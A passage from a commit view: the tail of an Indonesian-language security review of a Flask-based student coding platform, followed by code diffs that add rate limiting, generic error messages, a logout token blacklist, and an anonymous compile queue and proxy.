- Strip/escape `<script>` tags
- Remove event handlers (`onerror`, `onload`, etc.)
- Whitelist allowed HTML tags dan attributes
- [ ] **Content Security Policy**: CSP adalah defense-in-depth untuk XSS.
---
#### 9.2 Error Message Information Disclosure
**Lokasi**: Multiple routes mengembalikan raw exception
```python
return jsonify({'success': False, 'message': f'Error processing login: {str(e)}'})
```
**Dampak Jika Tidak Ditangani:**
- **Information Leak**: Attacker dapat mendapatkan:
- Internal file paths (`/app/routes/auth.py`)
- Database schema dari SQL error messages
- Library versions dari stack traces
- System architecture details
- **Attack Vector Discovery**: Error messages membantu attacker debug dan refine attack mereka.
- **System Fingerprinting**: Attacker dapat identifikasi tech stack untuk exploit spesifik.
**Task Perbaikan**:
- [ ] **Generic Error Messages**: Return generic message ke client, log detail ke server:
```python
# Client: {"success": false, "message": "An error occurred"}
# Server Log: Full traceback dengan request ID
```
- [ ] **Error Codes**: Gunakan error codes untuk debugging tanpa expose sensitive info.
---
### 🟠 10. Network Security (MEDIUM RISK)
#### 10.1 Internal Communication Tidak Di-encrypt
**Lokasi**: `routes/compile.py:46` - HTTP ke compiler-worker
```python
response = requests.post(COMPILER_WORKER_URL, ...) # HTTP, bukan HTTPS
```
**Dampak Jika Tidak Ditangani:**
- **Internal Traffic Interception**: Jika attacker compromise satu container, bisa sniff traffic internal.
- **Code Injection**: Attacker dapat man-in-the-middle request ke compiler-worker dan inject malicious code.
- **Data Leakage**: Token siswa dan source code lewat plaintext dalam internal network.
**Task Perbaikan**:
- [ ] **mTLS (Mutual TLS)**: Implementasikan certificate-based authentication antar container.
- [ ] **Network Isolation**: Gunakan internal network yang terpisah untuk service-to-service communication.
- [ ] **Service Mesh**: Pertimbangkan Istio/Linkerd untuk automatic mTLS (future enhancement).
---
#### 10.2 Tidak Ada Network Policies Antar Container
**Dampak Jika Tidak Ditangani:**
- **Lateral Movement**: Jika Velxio container compromised, attacker bisa langsung akses Flask backend, database, dan service lain.
- **Service Enumeration**: Semua service bisa discover dan communicate satu sama lain tanpa restriction.
- **Privilege Escalation**: Attacker dari low-privilege service bisa akses high-privilege service.
**Task Perbaikan**:
- [ ] **Podman/Docker Network Policies**: Definisikan explicit allowed connections:
- Frontend → Backend: ✅
- Backend → Compiler Worker: ✅
- Compiler Worker → Internet: ❌ (no outbound)
- Velxio → Backend: ✅ (tapi limited)
- [ ] **Firewall Rules**: Implementasikan iptables/nftables rules di container level.
---
### 🟡 11. Additional Security Hardening (LOW-MEDIUM RISK)
#### 11.1 Predictable Token Generation
**Lokasi**: `generate_tokens.py` (jika sequential)
**Dampak Jika Tidak Ditangani:**
- **Token Enumeration**: Jika token format predictable (e.g., `token_001`, `token_002`), attacker bisa generate semua token.
- **Mass Account Takeover**: Jika dapat satu token, bisa tebak token lainnya.
**Task Perbaikan**:
- [ ] **Cryptographically Secure Random**: Gunakan `secrets.token_urlsafe(32)` untuk generate token.
- [ ] **Token Entropy**: Minimal 128-bit entropy untuk mencegah brute force.
---
#### 11.2 Secrets Management
**Lokasi**: `podman-compose.yml:54` - Hardcoded SECRET_KEY
```yaml
- SECRET_KEY=embed-only-no-auth-needed
```
**Dampak Jika Tidak Ditangani:**
- **Session Forgery**: Attacker bisa generate valid session tokens untuk Velxio.
- **API Bypass**: Jika Velxio punya internal API, attacker bisa bypass autentikasi.
- **No Rotation**: Secret key tidak pernah berubah, jika leak maka permanent compromise.
**Task Perbaikan**:
- [ ] **Environment Variable**: Pindahkan SECRET_KEY ke `.env` file yang tidak di-commit.
- [ ] **Secret Rotation**: Implementasikan mechanism untuk periodic secret rotation.
- [ ] **Vault Integration**: Pertimbangkan HashiCorp Vault atau AWS Secrets Manager untuk production.
---
### 🔴 12. Secure Rate Limit for Velxio Compilation (CRITICAL SECURITY)
**Penjelasan**: Saat ini, kompilasi Arduino/Velxio berjalan secara langsung antara iframe frontend ke backend Velxio tanpa melewati filter autentikasi Elemes. Pembatasan di sisi frontend (SvelteKit) mudah di-bypass melalui "Inspect Element" atau request API langsung. Hal ini memungkinkan pengguna anonim membebani server dengan request kompilasi tanpa batas.
**Task Perbaikan**:
- [x] **Flask Backend Proxy**: Buat route `POST /api/velxio-compile` di Flask yang berfungsi sebagai proxy ke backend Velxio (`http://velxio:80/api/compile/`).
- [x] **Backend Enforcement**: Terapkan `@limiter.limit("1 per 2 minutes")` dan antrean anonim (20 slot) pada route proxy tersebut. Pastikan token divalidasi via `student_token` cookie agar pengguna login tidak terkena limit.
- [x] **Redirect Traffic**: Ubah konfigurasi Tailscale (`sinau-c-tail.json`) dan Vite Proxy agar request `/velxio/api/compile` diarahkan ke endpoint Flask yang baru.
---
## 📋 Prioritas Implementasi (Rekomendasi)
### Tier 1: Quick Wins (High Impact, Low Effort) 🚀
1. **Token Redaction in Logs** - Hanya modify logging statements
2. **Add Security Headers** - Gunakan Flask-Talisman (one-liner)
3. **Conditional Secure Cookie** - Environment variable check sederhana
### Tier 2: Important (High Impact, Medium Effort) ⭐
4. **Rate Limiting Login** - Flask-Limiter integration
5. **Markdown Sanitization** - Bleach/html-sanitizer setup
6. **Generic Error Messages** - Exception handling wrapper
### Tier 3: Strategic (Long-term Security) 🔒
7. **Session Invalidation/Blacklist** - Redis/memory store
8. **Audit Logging** - Separate logging infrastructure
9. **Internal mTLS** - Certificate management
10. **Network Policies** - Container orchestration config
11. **Secrets Management** - Vault/cloud provider integration
---
## 🎓 Learning Resources (untuk Referensi)
- **OWASP Top 10**: https://owasp.org/www-project-top-ten/
- **Flask Security**: https://flask.palletsprojects.com/en/2.3.x/security/
- **CSP Guide**: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- **Cookie Security**: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security
---
**Update Terakhir**: 2026-04-21
**Status**: Second Opinion Security Review - Ready for Curation

View File

@ -4,3 +4,4 @@ gunicorn==21.2.0
flask-cors==4.0.0 flask-cors==4.0.0
python-dotenv==1.0.0 python-dotenv==1.0.0
requests==2.31.0 requests==2.31.0
flask-limiter==3.5.0

View File

@ -2,14 +2,22 @@
Authentication routes: login, logout, validate-token. Authentication routes: login, logout, validate-token.
""" """
import os
import time
from flask import Blueprint, request, jsonify from flask import Blueprint, request, jsonify
from services.token_service import validate_token from extensions import limiter
from services.token_service import validate_token, blacklist_token
auth_bp = Blueprint('auth', __name__) auth_bp = Blueprint('auth', __name__)
# Security Configuration
COOKIE_SECURE = os.environ.get('COOKIE_SECURE', 'false').lower() == 'true'
@auth_bp.route('/login', methods=['POST']) @auth_bp.route('/login', methods=['POST'])
@limiter.limit("50 per minute")
def login(): def login():
"""Handle student login with token.""" """Handle student login with token."""
try: try:
@ -17,6 +25,7 @@ def login():
token = (data.get('token') or '').strip() token = (data.get('token') or '').strip()
if not token: if not token:
time.sleep(1.5) # Tarpitting for empty tokens
return jsonify({'success': False, 'message': 'Token is required'}) return jsonify({'success': False, 'message': 'Token is required'})
student_info = validate_token(token) student_info = validate_token(token)
@ -29,25 +38,30 @@ def login():
}) })
response.set_cookie( response.set_cookie(
'student_token', token, 'student_token', token,
httponly=True, secure=False, samesite='Lax', max_age=86400, httponly=True, secure=COOKIE_SECURE, samesite='Lax', max_age=86400,
) )
return response return response
else: else:
time.sleep(1.5) # Tarpitting for invalid tokens
return jsonify({'success': False, 'message': 'Invalid token'}) return jsonify({'success': False, 'message': 'Invalid token'})
except Exception as e: except Exception as e:
return jsonify({'success': False, 'message': f'Error processing login: {str(e)}'}) return jsonify({'success': False, 'message': 'Error processing login'})
@auth_bp.route('/logout', methods=['POST']) @auth_bp.route('/logout', methods=['POST'])
def logout(): def logout():
"""Handle student logout.""" """Handle student logout."""
try: try:
token = request.cookies.get('student_token')
if token:
blacklist_token(token)
response = jsonify({'success': True, 'message': 'Logout successful'}) response = jsonify({'success': True, 'message': 'Logout successful'})
response.set_cookie('student_token', '', expires=0) response.set_cookie('student_token', '', expires=0)
return response return response
except Exception as e: except Exception as e:
return jsonify({'success': False, 'message': f'Error processing logout: {str(e)}'}) return jsonify({'success': False, 'message': 'Error processing logout'})
@auth_bp.route('/validate-token', methods=['POST']) @auth_bp.route('/validate-token', methods=['POST'])
@ -74,4 +88,4 @@ def validate_token_route():
return jsonify({'success': False, 'message': 'Invalid token'}) return jsonify({'success': False, 'message': 'Invalid token'})
except Exception as e: except Exception as e:
return jsonify({'success': False, 'message': f'Error validating token: {str(e)}'}) return jsonify({'success': False, 'message': 'Error validating token'})

View File

@ -3,16 +3,84 @@ Code compilation route.
""" """
import os import os
import time
import uuid
import requests import requests
from flask import Blueprint, request, jsonify from flask import Blueprint, request, jsonify
from flask_limiter import RateLimitExceeded
from services.token_service import validate_token from services.token_service import validate_token
from extensions import limiter
compile_bp = Blueprint('compile', __name__) compile_bp = Blueprint('compile', __name__)
COMPILER_WORKER_URL = os.environ.get('COMPILER_WORKER_URL', 'http://compiler-worker:8080/execute') COMPILER_WORKER_URL = os.environ.get('COMPILER_WORKER_URL', 'http://compiler-worker:8080/execute')
VELXIO_COMPILER_URL = os.environ.get('VELXIO_COMPILER_URL', 'http://velxio:80/api/compile/')
ANON_QUEUE_DIR = "/tmp/elemes_anon_queue"
# Ensure queue directory exists
os.makedirs(ANON_QUEUE_DIR, exist_ok=True)
def is_logged_in():
"""Check if the request has a valid student token (JSON, Form, or Cookie)."""
token = None
if request.is_json:
try:
token = request.get_json(force=True).get('token', '')
except Exception:
pass
if not token:
token = request.form.get('token', '')
if not token:
token = request.cookies.get('student_token', '')
token = str(token).strip()
return bool(token and validate_token(token))
def acquire_anon_slot():
"""Try to acquire a slot in the anonymous compilation queue."""
try:
# Cleanup stale files (> 60s)
now = time.time()
for f in os.listdir(ANON_QUEUE_DIR):
fpath = os.path.join(ANON_QUEUE_DIR, f)
try:
if now - os.path.getmtime(fpath) > 60:
os.remove(fpath)
except (OSError, IOError):
pass
# Check capacity
if len(os.listdir(ANON_QUEUE_DIR)) >= 20:
return None
slot_id = str(uuid.uuid4())
fpath = os.path.join(ANON_QUEUE_DIR, slot_id)
with open(fpath, 'w') as f:
f.write(str(now))
return fpath
except Exception:
return None
def release_anon_slot(fpath):
"""Release an acquired anonymous slot."""
if fpath and os.path.exists(fpath):
try:
os.remove(fpath)
except (OSError, IOError):
pass
@compile_bp.errorhandler(RateLimitExceeded)
def handle_rate_limit_exceeded(e):
"""Handle rate limit errors with a custom message."""
return jsonify({
'success': False,
'output': '',
'error': 'tunggu beberapa saat untuk kompilasi kembali, atau lakukan request token ke guru'
}), 429
@compile_bp.route('/compile', methods=['POST']) @compile_bp.route('/compile', methods=['POST'])
@limiter.limit("1 per 2 minutes", exempt_when=is_logged_in)
def compile_code(): def compile_code():
"""Forward code compilation to the worker service.""" """Forward code compilation to the worker service."""
try: try:
@ -26,18 +94,36 @@ def compile_code():
if json_data: if json_data:
code = json_data.get('code', '') code = json_data.get('code', '')
language = json_data.get('language', '') language = json_data.get('language', '')
token = json_data.get('token', '') token = json_data.get('token', '').strip()
except Exception: except Exception:
pass pass
if not code: if not code:
code = request.form.get('code', '') code = request.form.get('code', '')
language = request.form.get('language', '') language = request.form.get('language', '')
token = request.form.get('token', '') token = request.form.get('token', '').strip()
if not token or not validate_token(token): # Authorization logic:
return jsonify({'success': False, 'output': '', 'error': 'Unauthorized: Valid token required'}) # 1. If token is provided, it MUST be valid.
# 2. If no token, it is anonymous access (subject to rate limits & queue).
user_is_logged_in = False
if token:
if not validate_token(token):
return jsonify({'success': False, 'output': '', 'error': 'Unauthorized: Invalid token'})
user_is_logged_in = True
# Queue logic for anonymous users
slot_fpath = None
if not user_is_logged_in:
slot_fpath = acquire_anon_slot()
if not slot_fpath:
return jsonify({
'success': False,
'output': '',
'error': 'tunggu beberapa saat untuk kompilasi kembali, atau lakukan request token ke guru'
})
try:
if not code: if not code:
return jsonify({'success': False, 'output': '', 'error': 'No code provided'}) return jsonify({'success': False, 'output': '', 'error': 'No code provided'})
@ -48,8 +134,47 @@ def compile_code():
timeout=15 timeout=15
) )
return jsonify(response.json()) return jsonify(response.json())
finally:
if slot_fpath:
release_anon_slot(slot_fpath)
except requests.exceptions.RequestException as re: except requests.exceptions.RequestException as re:
return jsonify({'success': False, 'output': '', 'error': f'Compiler service unavailable: {re}'}) return jsonify({'success': False, 'output': '', 'error': f'Compiler service unavailable: {re}'})
except Exception as e: except Exception as e:
return jsonify({'success': False, 'output': '', 'error': f'An error occurred: {e}'}) return jsonify({'success': False, 'output': '', 'error': f'An error occurred: {e}'})
@compile_bp.route('/velxio-compile', methods=['POST'])
@compile_bp.route('/velxio-compile/', methods=['POST'])
@limiter.limit("1 per 2 minutes", exempt_when=is_logged_in)
def velxio_compile():
"""Proxy Velxio compilation requests to the Velxio service."""
slot_fpath = None
try:
# Check authorization from cookie if not in JSON
token = request.cookies.get('student_token')
user_is_logged_in = bool(token and validate_token(token))
if not user_is_logged_in:
slot_fpath = acquire_anon_slot()
if not slot_fpath:
return jsonify({
'success': False,
'output': '',
'error': 'tunggu beberapa saat untuk kompilasi kembali, atau lakukan request token ke guru'
})
# Forward the request to Velxio
response = requests.post(
VELXIO_COMPILER_URL,
json=request.get_json(silent=True) or {},
timeout=30
)
return jsonify(response.json())
except requests.exceptions.RequestException as re:
return jsonify({'success': False, 'output': '', 'error': f'Velxio service unavailable: {re}'})
except Exception as e:
return jsonify({'success': False, 'output': '', 'error': f'An error occurred: {e}'})
finally:
if slot_fpath:
release_anon_slot(slot_fpath)

View File

@ -8,6 +8,15 @@ import os
from config import TOKENS_FILE from config import TOKENS_FILE
# In-memory blacklist for tokens that have logged out
LOGOUT_BLACKLIST = set()
def blacklist_token(token):
"""Add a token to the logout blacklist."""
if token:
LOGOUT_BLACKLIST.add(token)
def get_teacher_token(): def get_teacher_token():
"""Return the teacher token (first data row in CSV).""" """Return the teacher token (first data row in CSV)."""
@ -29,6 +38,9 @@ def is_teacher_token(token):
def validate_token(token): def validate_token(token):
"""Validate if a token exists in the CSV file and return student info.""" """Validate if a token exists in the CSV file and return student info."""
if not token or token in LOGOUT_BLACKLIST:
return None
if not os.path.exists(TOKENS_FILE): if not os.path.exists(TOKENS_FILE):
return None return None